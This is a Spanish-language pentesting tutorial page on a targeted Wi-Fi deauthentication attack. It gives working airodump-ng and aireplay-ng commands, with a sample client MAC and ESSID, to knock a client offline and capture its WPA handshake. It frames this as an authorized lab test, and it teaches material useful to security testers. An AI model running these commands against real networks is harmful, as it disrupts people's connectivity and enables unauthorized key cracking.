> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/targeted-deauthentication-attack.md).

# Ataque de desautenticación dirigido

Valida la resiliencia de un cliente autorizado frente a una desautenticación controlada.

Esta prueba verifica cómo responde un cliente de laboratorio a una desautenticación controlada. Requiere autorización explícita para el punto de acceso y el cliente.

{% hint style="danger" %}
La desautenticación interrumpe la conectividad. Nunca la envíes a redes o dispositivos fuera de tu autorización.
{% endhint %}

### Preparar la captura

Captura tráfico para el ESSID autorizado en su canal:

```bash
airodump-ng --channel 11 -w CAPTURE --essid WIFI wlan0mon
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FX4XUcaFq8daSfxi2iaw2%2F%7B920509CB-C5F7-400E-B9C8-EDBF3048B826%7D.png?alt=media&amp;token=19042f7b-4bdf-4f4f-b4df-5972a8b94fce" alt=""><figcaption></figcaption></figure>

### Identificar el cliente de laboratorio

Revisa la tabla de clientes y confirma que la estación está dentro del alcance. El contador de tramas ayuda a identificar actividad reciente.

```bash
46:E9:89:14:07:36
```

### Ejecutar una prueba limitada

Envía un número limitado de tramas al cliente autorizado. Sustituye los valores de ejemplo por los valores del laboratorio.

```bash
aireplay-ng --deauth 10 -e ATIC2 -c 46:E9:89:14:07:36 wlan0mon
```

La prueba desconecta temporalmente al cliente. La reconexión puede generar un handshake para la validación de la captura.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FbVGX9r2zJsMX03aLSJ3i%2F%7B6F544BDD-3DAC-4382-8DB3-8DA6D6EA1D11%7D.png?alt=media&amp;token=39c35b17-5c80-4479-9d1b-e578c3477674" alt=""><figcaption></figcaption></figure>


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